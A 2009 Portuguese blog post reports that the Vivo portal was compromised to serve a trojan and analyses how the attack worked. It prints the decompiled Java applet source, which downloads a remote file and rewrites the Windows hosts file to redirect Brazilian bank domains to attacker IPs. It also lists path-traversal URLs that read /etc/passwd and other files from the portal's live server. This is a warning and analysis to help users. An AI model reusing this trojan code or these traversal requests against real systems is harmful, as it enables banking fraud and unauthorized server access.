Falhas grotescas no portal da Vivo – Insegurança total

by Rafael Santos on set.09, 2009, under Informática


ill_malware_400Buenas! Volto do limbo para alertar aos usuários do portal da Vivo que falhas grotescas estão comprometendo a segurança dos visitantes.

Ontem, dia 08/09/2009, o portal foi comprometido e passou a infectar os computadores dos visitantes com um trojan.

Quem acessou o portal entre ontem e hoje deve evitar acessar sites bancários e verificar seu computador com um bom antivírus devidamente atualizado.

Detalhes abaixo:

Ao acessar a página principal uma mensagem solicitava que um applet fosse executado, este applet cria o arquivo “c:\NOSO072009BETA3ba.log” e tenta realizar as seguintes alterações no arquivo hosts:

69.162.114.180 santander.com.br
69.162.114.180 www.santander.com.br
69.162.114.181 itau.com.br
69.162.114.181 www.itau.com.br
69.162.114.181 www.itau.com
69.162.114.181 itau.com
69.162.114.181 itaupersonnalite.com.br
69.162.114.181 www.itaupersonnalite.com.br
69.162.114.182 www.bradesco.com.br
69.162.114.182 bradesco.com.br
69.162.114.182 www.bradesco.com
69.162.114.182 bradesco.com
69.162.114.182 www.bradescoempresa.com.br
69.162.114.182 bradescoempresa.com.br
69.162.114.182 www.bradescoprime.com.br
69.162.114.182 bradescoprime.com.br
69.162.114.182 bradescocartoes.com.br
69.162.114.182 www.bradescocartoes.com.br
69.162.114.179 www.nossacaixa.com.br
69.162.114.179 nossacaixa.com.br

Ao analizar o arquivo http://www.vivo.com.br/portal/home.php encontrei o seguinte código:

<applet name="Vivo Online - IMPORTANTE: (Para executar corretamente o Vivo Online clique em `Run&#180;.)" code="laa.class"
archive="http://www.vivo.com.br/portal/co/logo_top.jpg" height="0"
width="0"><param name="Vivo Online" value=""></applet>

Reparem que é um arquivo JAR com extensão "jpg", para que o usuário comum acredite ser uma foto.

$ file logo_top.jpg:
Zip archive data, at least v2.0 to extract

Vejam os fontes desse arquivo:

import java.applet.Applet;
import java.awt.Color;
import java.awt.Graphics;
import java.io.BufferedInputStream;
import java.io.BufferedOutputStream;
import java.io.File;
import java.io.FileOutputStream;
import java.io.FileWriter;
import java.io.IOException;
import java.io.InputStream;
import java.net.URL;
import java.net.URLConnection;

public class laa extends Applet
{
  public void paint(Graphics g)
  {
    g.setColor(Color.red);
    g.drawString("...", 5, 10);
  }

  public void H32A(String URLexterna, String SalvarComo)
  {
    try
    {
      int i;
      File files = new File(SalvarComo);
      boolean exists = files.exists();
      if (exists)
        return;
      URL url = new URL(URLexterna);
      URLConnection connection = url.openConnection();
      InputStream stream = connection.getInputStream();
      BufferedInputStream in = new BufferedInputStream(stream);
      FileOutputStream file = new FileOutputStream(SalvarComo);
      BufferedOutputStream out = new BufferedOutputStream(file);

      while ((i = in.read()) != -1)
        out.write(i);
      out.flush();
      out.close();
    }
    catch (IOException localIOException)
    {
    }
  }

  public void H32C(String HostIP, String HostURL)
  {
    try {
      File file = new File("\\WINDOWS\\system32\\drivers\\etc\\hosts");
      FileWriter filewriter = new FileWriter(file, true);
      filewriter.write(HostIP + " " + HostURL + System.getProperty
      ("line.separator"));
      filewriter.close();
    }
    catch (Exception localException)
    {
    }
  }

  public void teste(String valor)
  {
    try {
      Runtime.getRuntime().exec(valor);
    }
    catch (IOException localIOException)
    {
    }
  }

  public void merda1() {
    try {
      int i;
      File files = new File("c:\\NOSO072009BETA3ba.log");
      boolean exists = files.exists();
      if (exists)
        return;
      URL url = new URL
      ("http://goos.io.usp.br/tikiwiki/img/wiki/dedi/mais.php");
      URLConnection connection = url.openConnection();
      InputStream stream = connection.getInputStream();
      BufferedInputStream in = new BufferedInputStream(stream);
      FileOutputStream file = new FileOutputStream
      ("c:\\NOSO072009BETA3ba.log");
      BufferedOutputStream out = new BufferedOutputStream(file);

      while ((i = in.read()) != -1)
        out.write(i);
      out.flush();
      out.close();
      H32C("", "");
      H32C("69.162.114.180", "santander.com.br");
      H32C("69.162.114.180", "www.santander.com.br");
      H32C("69.162.114.181", "itau.com.br");
      H32C("69.162.114.181", "www.itau.com.br");
      H32C("69.162.114.181", "www.itau.com");
      H32C("69.162.114.181", "itau.com");
      H32C("69.162.114.181", "itaupersonnalite.com.br");
      H32C("69.162.114.181", "www.itaupersonnalite.com.br");
      H32C("69.162.114.182", "www.bradesco.com.br");
      H32C("69.162.114.182", "bradesco.com.br");
      H32C("69.162.114.182", "www.bradesco.com");
      H32C("69.162.114.182", "bradesco.com");
      H32C("69.162.114.182", "www.bradescoempresa.com.br");
      H32C("69.162.114.182", "bradescoempresa.com.br");
      H32C("69.162.114.182", "www.bradescoprime.com.br");
      H32C("69.162.114.182", "bradescoprime.com.br");
      H32C("69.162.114.182", "bradescocartoes.com.br");
      H32C("69.162.114.182", "www.bradescocartoes.com.br");
      H32C("69.162.114.179", "www.nossacaixa.com.br");
      H32C("69.162.114.179", "nossacaixa.com.br");
    }
    catch (IOException localIOException)
    {
    }
  }

  public void init()
  {
    merda1();
  }
}

Além desse problema seriíssimo existe outro que até o momento não foi corrigido que permite que qualquer arquivo do servidor seja aberto em qualquer browser. É só acessar as seguintes URLs para ter acesso aos logins, grupos e hosts do servidor, respectivamente:

http://www.vivo.com.br/roaminginternacional/popup.php?url=/etc/passwd

http://www.vivo.com.br/roaminginternacional/popup.php?url=/etc/group

http://www.vivo.com.br/roaminginternacional/popup.php?url=/etc/hosts

Para acessar qualquer outro arquivo basta substituir o conteúdo após o “url=” pelo arquivo que quiser.

Créditos a quem merece:

Recebi nos comentários a informação de que a descoberta do trojan foi feita por Miguel de Curcio Filho, que inclusive postou sobre o assunto em seu blog. Recomendo também a leitura de um outro post com análises bem interessantes no blog de Sandro Süffert.


:, , , , , , ,

17 Comments for this entry

11 Trackbacks / Pingbacks for this entry

Leave a Reply

Looking for something?

Use the form below to search the site:

Still not finding what you're looking for? Drop a comment on a post or contact us so we can take care of it!

Visit our friends!

A few highly recommended friends...